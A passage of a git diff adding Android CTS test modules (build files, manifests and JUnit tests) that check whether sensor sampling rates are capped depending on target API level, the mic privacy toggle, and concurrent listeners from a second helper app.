+                obtainedRate <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/Android.bp b/tests/sensor/sensorratepermission/EventConnectionAPI30/Android.bp
new file mode 100644
index 0000000..b98a9bc
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionEventConnectionAPI30",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/AndroidManifest.xml b/tests/sensor/sensorratepermission/EventConnectionAPI30/AndroidManifest.xml
new file mode 100755
index 0000000..75fe78a
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.eventconnectionapi30"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30"/>
+
+    <application android:label="EventConnectionAPI30">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.eventconnectionapi30"
+                     android:label="EventConnection API 30">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java b/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
new file mode 100644
index 0000000..59d909a
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.eventconnectionapi30;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.hardware.cts.helpers.TestSensorEventListener;
+import android.hardware.cts.helpers.TestSensorManager;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Test sampling rates obtained by event connections:
+ * - App targets API 30
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped if the mic toggle is on
+ * - Sampling rate is not capped if the mic toggle is off
+ */
+@RunWith(Parameterized.class)
+public class EventConnectionAPI30Test {
+    private static final int NUM_EVENTS_COUNT = 1024;
+
+    private static SensorRatePermissionEventConnectionTestHelper mEventConnectionTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static TestSensorEnvironment mTestEnvironment;
+    private static int mUncappedMinDelayMicros;
+    private static int mCappedMinDelayMicros;
+    private static int mUserID;
+
+    private final int sensorType;
+
+    public EventConnectionAPI30Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        SensorManager sensorManager = context.getSystemService(SensorManager.class);
+        Sensor sensor = sensorManager.getDefaultSensor(sensorType);
+        Assume.assumeTrue("Failed to find a sensor!", sensor != null);
+
+        mTestEnvironment = new TestSensorEnvironment(
+                context,
+                sensor,
+                SensorManager.SENSOR_DELAY_FASTEST,
+                (int) TimeUnit.SECONDS.toMicros(5));
+        Assume.assumeTrue("Failed to create mTestEnvironment!", mTestEnvironment != null);
+
+        mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
+                mTestEnvironment);
+        Assume.assumeTrue("Failed to create mEventConnectionTestHelper!",
+                mEventConnectionTestHelper != null);
+
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        // In context of this app (targetSDK = 30), this returns the original supported min delay
+        // of the sensor
+        mUncappedMinDelayMicros = mTestEnvironment.getSensor().getMinDelay();
+        mCappedMinDelayMicros = (int) TimeUnit.SECONDS.toMicros(1)
+                / SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ;
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mEventConnectionTestHelper != null) {
+            mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        // Only run this test if minDelay of the sensor is smaller than the capped min delay
+        if (mUncappedMinDelayMicros >= mCappedMinDelayMicros) {
+            return;
+        }
+
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(
+                true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenBelowExpectedRate(),
+                obtainedRate
+                        > SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mEventConnectionTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(
+                true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Test the case where a connection is ongoing while the mic toggle changes its state:
+     * off -> on -> off. This test is to show that the sensor service is able to cap/uncap the
+     * rate of ongoing SensorEventConnections when the state of the mic toggle changes.
+     */
+    @Test
+    public void testSamplingRateMicToggleOffOnOff() throws InterruptedException {
+        // Only run this test if minDelay of the sensor is smaller than the capped min delay
+        if (mUncappedMinDelayMicros >= mCappedMinDelayMicros) {
+            return;
+        }
+        // Start with the mic toggle off
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        // Register a listener
+        TestSensorEventListener listener = new TestSensorEventListener(mTestEnvironment);
+        TestSensorManager testSensorManager = new TestSensorManager(mTestEnvironment);
+        testSensorManager.registerListener(listener);
+
+        // Flip the mic toggle on and clear all the events so far.
+        mEventConnectionTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        listener.clearEvents();
+
+        // Wait for 1000 events and check the sampling rates.
+        CountDownLatch eventLatch = listener.getLatchForSensorEvents(1000 /*numOfEvents*/);
+        listener.waitForEvents(eventLatch, 1000 /*numOfEvents*/, false);
+        List<TestSensorEvent> events = listener.getCollectedEvents();
+        double rateWhenMicToggleOn =
+                SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                        Long.MIN_VALUE, Long.MAX_VALUE);
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                rateWhenMicToggleOn
+                        <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+
+        // Flip the mic toggle off, clear all the events so far.
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        listener.clearEvents();
+
+        // Wait for 2000 events and check the sampling rates.
+        eventLatch = listener.getLatchForSensorEvents(2000 /*numOfEvents*/);
+        listener.waitForEvents(eventLatch, 2000 /*numOfEvents*/, false);
+        events = listener.getCollectedEvents();
+        double rateWhenMicToggleOff = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(
+                events, Long.MIN_VALUE, Long.MAX_VALUE);
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenBelowExpectedRate(),
+                rateWhenMicToggleOff
+                        > SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+
+        listener.clearEvents();
+        testSensorManager.unregisterListener();
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/Android.bp b/tests/sensor/sensorratepermission/EventConnectionAPI31/Android.bp
new file mode 100644
index 0000000..7db6850
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionEventConnectionAPI31",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/AndroidManifest.xml b/tests/sensor/sensorratepermission/EventConnectionAPI31/AndroidManifest.xml
new file mode 100755
index 0000000..c517a6d
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.eventconnectionapi31"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="EventConnectionAPI31">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.eventconnectionapi31"
+                     android:label="Event Connection API 31">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java b/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
new file mode 100644
index 0000000..ff909e5
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.eventconnectionapi31;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Test sampling rates obtained by indirect connections:
+ * - App targets API 31 (w/o having HIGH_SAMPLING_RATE_SENSORS permission)
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped, regardless of the state of the mic toggle
+ */
+@RunWith(Parameterized.class)
+public class EventConnectionAPI31Test {
+    private static final int NUM_EVENTS_COUNT = 1024;
+
+    private static SensorRatePermissionEventConnectionTestHelper mEventConnectionTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static TestSensorEnvironment mTestEnvironment;
+    private static int mUserID;
+
+    private final int sensorType;
+
+    public EventConnectionAPI31Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        SensorManager sensorManager = context.getSystemService(SensorManager.class);
+        Sensor sensor = sensorManager.getDefaultSensor(sensorType);
+        Assume.assumeTrue("Failed to find a sensor!", sensor != null);
+
+        mTestEnvironment = new TestSensorEnvironment(
+                context,
+                sensor,
+                SensorManager.SENSOR_DELAY_FASTEST,
+                (int) TimeUnit.SECONDS.toMicros(5));
+        Assume.assumeTrue("Failed to create mTestEnvironment!", mTestEnvironment != null);
+
+        mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
+                mTestEnvironment);
+        Assume.assumeTrue("Failed to create mEventConnectionTestHelper!",
+                mEventConnectionTestHelper != null);
+
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mEventConnectionTestHelper != null) {
+            mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mEventConnectionTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(true,
+                NUM_EVENTS_COUNT);
+
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/Android.bp b/tests/sensor/sensorratepermission/EventConnectionResampling/Android.bp
new file mode 100644
index 0000000..0b984a7
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/Android.bp
@@ -0,0 +1,32 @@
+android_test_helper_app {
+    name: "CtsSensorRatePermissionEventConnectionResampling",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/AndroidManifest.xml b/tests/sensor/sensorratepermission/EventConnectionResampling/AndroidManifest.xml
new file mode 100644
index 0000000..7fa9859
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.resampling">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="ResamplingTest">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.resampling"
+                     android:label="Two apps register listeners simultaneously"/>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/app/Android.bp b/tests/sensor/sensorratepermission/EventConnectionResampling/app/Android.bp
new file mode 100644
index 0000000..02fe34d
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/app/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionMicToggleOffAPI25",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "cts-sensors-tests",
+    ],
+    sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/app/AndroidManifest.xml b/tests/sensor/sensorratepermission/EventConnectionResampling/app/AndroidManifest.xml
new file mode 100644
index 0000000..06f4d81
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/app/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.mictoggleoffapi25">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+
+    <!--
+        - Targets an SDK < 31 so that it can have high sampling rate.
+        - Targets SDK 25 so that the service can still be run while the app is in background
+    -->
+    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25"/>
+
+    <application
+        android:allowBackup="true"
+        android:label="AppWithSamplingRatePermission"
+        android:supportsRtl="true">
+        <service
+            android:name=".MainService"
+            android:exported="true">
+            <intent-filter>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <action android:name="android.intent.action.MAIN"/>
+            </intent-filter>
+        </service>
+    </application>
+
+</manifest>
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/app/src/android/sensorratepermission/cts/mictoggleoffapi25/MainService.java b/tests/sensor/sensorratepermission/EventConnectionResampling/app/src/android/sensorratepermission/cts/mictoggleoffapi25/MainService.java
new file mode 100644
index 0000000..ac438e8
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/app/src/android/sensorratepermission/cts/mictoggleoffapi25/MainService.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.mictoggleoffapi25;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.os.IBinder;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper app to test the cases where two apps register listeners at the same time.
+ * It targets API 25 and therefore can have high sampling rates.
+ */
+public class MainService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        try {
+            Context context = this.getApplicationContext();
+            SensorManager sensorManager = context.getSystemService(SensorManager.class);
+            Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
+            if (sensor != null) {
+                TestSensorEnvironment testEnvironment = new TestSensorEnvironment(
+                        context,
+                        sensor,
+                        3000 /* samplingPeriodUs */,
+                        (int) TimeUnit.SECONDS.toMicros(5));
+                SensorRatePermissionEventConnectionTestHelper eventConnectionTestHelper =
+                        new SensorRatePermissionEventConnectionTestHelper(testEnvironment);
+                eventConnectionTestHelper.getSensorEvents(true, 1024 /* numOfEvents */);
+            }
+        } catch (InterruptedException e) {
+
+        }
+        stopSelf();
+        return START_STICKY;
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java b/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java
new file mode 100644
index 0000000..653c22f
--- /dev/null
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.resampling;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.cts.SensorTestCase;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.hardware.cts.helpers.sensorverification.EventGapVerification;
+import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
+import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerification;
+import android.hardware.cts.helpers.sensorverification.JitterVerification;
+import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
+import android.hardware.cts.helpers.sensorverification.MeanVerification;
+import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Test the resampler in SensorEventConnection class.
+ *
+ * The resampler is to prevent the attack where an app without permission might get a sampling
+ * rate higher than our capped rate, because at the time it registers a listener, there is another
+ * app with the permission and requests a higher sampling rate.
+ *
+ * Test cases: Two apps register sensor listeners at the same time.
+ * - An app targets API 31 w/o HIGH_SAMPLING_RATE_SENSORS, hence being capped.
+ * - The other app targets API 25, hence not being capped
+ *
+ * Expected behaviors:
+ * - The one that should be capped is capped
+ * - The default verifications of returned sensor events meet the expectations as in other sensor
+ * tests
+ */
+public class ResamplingTest extends SensorTestCase {
+    private static final int NUM_EVENTS_COUNT = 1024;
+    private static SensorRatePermissionEventConnectionTestHelper mEventConnectionTestHelper;
+    private static Context mContext;
+    private static TestSensorEnvironment mTestEnvironment;
+
+    @Override
+    protected void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
